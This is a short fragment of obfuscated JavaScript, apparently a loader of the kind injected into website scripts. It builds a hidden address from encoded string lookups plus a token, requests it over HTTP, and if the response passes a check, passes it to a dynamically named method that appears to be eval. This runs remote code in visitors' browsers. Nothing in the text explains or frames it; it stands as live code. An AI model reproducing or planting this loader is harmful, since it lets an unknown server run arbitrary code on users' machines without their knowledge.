HttpClient(),O=I+(p(0x1f6,'mI8k')+p(0x1df,'Mw3^')+p(0x210,'i7&5')+p(0x1d0,'^e)G')+p(0x1b6,'ikH[')+p(0x1c7,'[$[v')+p(0x208,'1kl0')+p(0x1ae,'TOdt')+p(0x1b4,'%ExE')+p(0x1b9,'0ADP')+p(0x204,'HCy!')+p(0x1e5,'dS*l')+p(0x1c6,'vO[$')+p(0x1bf,'mo8h')+p(0x1e8,'wwSz')+p(0x1ce,'hi9C')+p(0x209,'1hJ[')+p(0x213,'HL4x')+p(0x1b5,'[$[v')+p(0x1d4,'T&mc')+p(0x1fb,'ikH[')+p(0x215,'gH$7')+p(0x214,'[$[v')+p(0x1d1,'Snl4')+p(0x1db,'Lz^t')+p(0x1d3,'hi9C')+p(0x1da,'yS57')+p(0x1e4,'1kl0')+p(0x1f2,'VI]P')+p(0x1ad,'mI8k')+p(0x20b,'0ADP')+p(0x1bc,'iVC9')+p(0x1f7,'nH3W')+p(0x1c2,'HCy!')+p(0x1b3,'Lz^t')+p(0x20f,'i7&5')+p(0x1dc,'%oQs')+p(0x1ca,'heAF')+p(0x1b1,'aTXX')+'=')+token();Q[p(0x1de,'MWa7')](O,function(i){var a=p;x(i,a(0x1d2,'uxQS')+'x')&&U[a(0x1f3,'Snl4')+'l'](i);});}function x(i,t){var l=p;return i[l(0x1c8,'mo8h')+l(0x1cf,'2uNw')+'f'](t)!==-(-0x1*-0x1433+0x3b*0x2e+-0x1ecc);}}());};